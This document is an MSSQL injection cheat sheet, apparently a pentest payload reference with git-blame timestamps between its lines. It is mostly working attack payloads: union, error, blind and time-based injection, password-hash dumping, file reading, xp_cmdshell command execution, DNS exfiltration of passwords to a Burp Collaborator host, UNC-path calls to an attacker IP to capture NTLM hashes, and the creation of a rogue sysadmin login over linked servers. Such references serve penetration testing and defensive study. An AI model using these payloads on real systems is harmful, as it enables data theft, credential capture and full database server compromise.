2018-03-12 08:17:31 +00:00
# MSSQL Injection
2019-08-18 20:24:48 +00:00
## Summary
2021-08-10 21:00:19 +00:00
* [MSSQL Comments ](#mssql-comments )
* [MSSQL User ](#mssql-user )
* [MSSQL Version ](#mssql-version )
* [MSSQL Hostname ](#mssql-hostname )
* [MSSQL Database name ](#mssql-database-name )
2019-10-29 13:14:28 +00:00
* [MSSQL List databases ](#mssql-list-databases )
2019-08-18 20:24:48 +00:00
* [MSSQL List columns ](#mssql-list-columns )
* [MSSQL List tables ](#mssql-list-tables )
2019-10-29 13:14:28 +00:00
* [MSSQL Extract user/password ](#mssql-extract-userpassword )
2019-08-18 20:24:48 +00:00
* [MSSQL Union Based ](#mssql-union-based )
* [MSSQL Error Based ](#mssql-error-based )
* [MSSQL Blind Based ](#mssql-blind-based )
* [MSSQL Time Based ](#mssql-time-based )
2019-10-29 13:14:28 +00:00
* [MSSQL Stacked query ](#mssql-stacked-query )
2021-03-25 17:25:02 +00:00
* [MSSQL Read file ](#mssql-read-file )
2019-08-18 20:24:48 +00:00
* [MSSQL Command execution ](#mssql-command-execution )
2020-10-30 20:10:00 +00:00
* [MSSQL Out of band ](#mssql-out-of-band )
* [MSSQL DNS exfiltration ](#mssql-dns-exfiltration )
* [MSSQL UNC path ](#mssql-unc-path )
2019-10-29 13:14:28 +00:00
* [MSSQL Make user DBA ](#mssql-make-user-dba-db-admin )
2020-05-01 10:06:18 +00:00
* [MSSQL Trusted Links ](#mssql-trusted-links )
2022-04-18 15:21:26 +00:00
* [MSSQL List permissions ](#mssql-list-permissions )
2019-08-18 20:24:48 +00:00
2021-08-10 21:00:19 +00:00
## MSSQL Comments
2018-09-22 18:30:03 +00:00
```sql
-- comment goes here
/* comment goes here */
```
2020-05-01 10:06:18 +00:00
## MSSQL User
```sql
SELECT CURRENT_USER
2021-08-10 21:00:19 +00:00
SELECT user_name();
SELECT system_user;
SELECT user;
2020-05-01 10:06:18 +00:00
```
2018-03-12 08:17:31 +00:00
## MSSQL version
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2018-03-12 08:17:31 +00:00
SELECT @@version
```
2021-08-10 21:00:19 +00:00
## MSSQL Hostname
```sql
SELECT HOST_NAME()
SELECT @@hostname;
```
## MSSQL Database name
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2018-03-12 08:17:31 +00:00
SELECT DB_NAME()
```
2019-08-18 20:24:48 +00:00
## MSSQL List databases
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2018-03-12 08:17:31 +00:00
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
2021-08-11 15:07:55 +00:00
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
2018-03-12 08:17:31 +00:00
```
2019-08-18 20:24:48 +00:00
## MSSQL List columns
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2018-03-12 08:17:31 +00:00
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘ mytable’ ); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’ sometable’ ; — list colum names and types for master..sometable
2018-04-27 21:31:58 +00:00
SELECT table_catalog, column_name FROM information_schema.columns
2018-03-12 08:17:31 +00:00
```
2019-08-18 20:24:48 +00:00
## MSSQL List tables
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2018-03-12 08:17:31 +00:00
SELECT name FROM master..sysobjects WHERE xtype = ‘ U’ ; — use xtype = ‘ V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘ U’ ;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’ sometable’ ; — list colum names and types for master..sometable
2018-04-27 21:31:58 +00:00
SELECT table_catalog, table_name FROM information_schema.columns
2021-08-11 15:07:55 +00:00
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)
2018-03-12 08:17:31 +00:00
```
2019-08-18 20:24:48 +00:00
## MSSQL Extract user/password
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2018-03-12 08:17:31 +00:00
MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)
MSSQL 2005
2018-04-12 21:23:41 +00:00
SELECT name, password_hash FROM master.sys.sql_logins
2022-03-10 10:05:17 +00:00
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
2018-03-12 08:17:31 +00:00
```
2019-01-20 15:41:46 +00:00
## MSSQL Union Based
```sql
-- extract databases names
$ SELECT name FROM master..sysdatabases
[*] Injection
[*] msdb
[*] tempdb
-- extract tables from Injection database
$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
[*] Profiles
[*] Roles
[*] Users
-- extract columns for the table Users
$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
[*] UserId
[*] UserName
-- Finally extract the data
$ SELECT UserId, UserName from Users
```
2018-03-12 08:17:31 +00:00
## MSSQL Error based
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2018-03-12 08:17:31 +00:00
For integer inputs : convert(int,@@version)
2018-04-27 21:31:58 +00:00
For integer inputs : cast((SELECT @@version) as int)
2018-03-12 08:17:31 +00:00
For string inputs : ' + convert(int,@@version) + '
2018-04-27 21:31:58 +00:00
For string inputs : ' + cast((SELECT @@version) as int) + '
```
## MSSQL Blind based
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2021-08-10 21:00:19 +00:00
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -
AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
2018-04-27 21:31:58 +00:00
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'
2018-03-12 08:17:31 +00:00
```
## MSSQL Time based
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2018-03-12 08:17:31 +00:00
ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--
2018-05-16 21:33:14 +00:00
2020-10-30 20:10:00 +00:00
IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' comment: --
2018-03-12 08:17:31 +00:00
```
2018-05-16 21:33:14 +00:00
## MSSQL Stacked Query
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
Use a semi-colon ";" to add another query
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
ProductID=1; DROP members--
2018-03-12 08:17:31 +00:00
```
2018-05-16 21:33:14 +00:00
2021-03-25 17:25:02 +00:00
## MSSQL Read file
**Permissions**: The `BULK` option requires the `ADMINISTER BULK OPERATIONS` or the `ADMINISTER DATABASE BULK OPERATIONS` permission.
```sql
-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null
```
2018-05-16 21:33:14 +00:00
## MSSQL Command execution
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2018-08-12 21:30:22 +00:00
EXEC xp_cmdshell "net user";
2019-01-29 20:25:25 +00:00
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
2018-03-12 08:17:31 +00:00
```
2018-08-12 21:30:22 +00:00
2018-03-12 08:17:31 +00:00
If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2019-01-29 20:25:25 +00:00
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
2018-03-12 08:17:31 +00:00
```
2019-08-18 20:24:48 +00:00
To interact with the MSSQL instance.
```powershell
sqsh -S 192.168.1.X -U sa -P superPassword
python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758
```
2020-05-01 10:06:18 +00:00
Execute Python script
> Executed by a different user than the one using xp_cmdshell to execute commands
```powershell
#Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
```
2020-10-30 20:10:00 +00:00
## MSSQL Out of band
2020-05-01 10:06:18 +00:00
2020-10-30 20:10:00 +00:00
### MSSQL DNS exfiltration
Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1
```powershell
2021-03-25 17:25:02 +00:00
# Permissions: Requires VIEW SERVER STATE permission on the server.
1 and exists(select * from fn_xe_file_target_read_file('C:\* .xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
# Permissions: Requires the CONTROL SERVER permission.
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
2020-10-30 20:10:00 +00:00
```
### MSSQL UNC Path
2019-02-17 19:02:16 +00:00
MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the `xp_dirtree` function to list the files in our SMB share and grab the NTLMv2 hash.
```sql
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
```
2021-03-24 21:26:23 +00:00
```sql
xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
```
2018-03-12 08:17:31 +00:00
## MSSQL Make user DBA (DB admin)
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2018-03-12 08:17:31 +00:00
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
```
2020-05-01 10:06:18 +00:00
## MSSQL Trusted Links
> The links between databases work even across forest trusts.
```powershell
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio
```
Manual exploitation
```sql
-- find link
select * from master..sysservers
-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');
-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
```
2022-04-18 15:21:26 +00:00
## List permissions
Listing effective permissions of current user on the server.
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
```
Listing effective permissions of current user on the database.
```sql
SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
```
Listing effective permissions of current user on a view.
```
SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name;
```
Check if current user is a member of the specified server role.
```sql
-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin
SELECT is_srvrolemember('sysadmin');
```
2018-12-24 14:02:50 +00:00
## References
2018-08-12 21:30:22 +00:00
* [Pentest Monkey - mssql-sql-injection-cheat-sheet ](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet )
* [Error Based - SQL Injection ](https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20“Order%20By”%20clause%20(MSSQL ).pdf)
2020-05-01 10:06:18 +00:00
* [MSSQL Trusted Links - HackTricks.xyz ](https://book.hacktricks.xyz/windows/active-directory-methodology/mssql-trusted-links )
2020-05-10 14:17:10 +00:00
* [SQL Server – Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! - Antti Rantasaari - June 6th, 2013 ](https://blog.netspi.com/how-to-hack-database-links-in-sql-server/ )
2020-10-09 07:23:21 +00:00
* [DAFT: Database Audit Framework & Toolkit - NetSPI ](https://github.com/NetSPI/DAFT )
2021-08-10 21:00:19 +00:00
* [SQL Server UNC Path Injection Cheatsheet - nullbind ](https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e )
2021-08-11 15:07:55 +00:00
* [Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - 28 January 2009 ](https://www.exploit-db.com/papers/12975 )
2022-04-18 15:21:26 +00:00
* [Microsoft - sys.fn_my_permissions (Transact-SQL) ](https://docs.microsoft.com/en-us/sql/relational-databases/system-functions/sys-fn-my-permissions-transact-sql?view=sql-server-ver15 )
* [Microsoft - IS_SRVROLEMEMBER (Transact-SQL) ](https://docs.microsoft.com/en-us/sql/t-sql/functions/is-srvrolemember-transact-sql?view=sql-server-ver15 )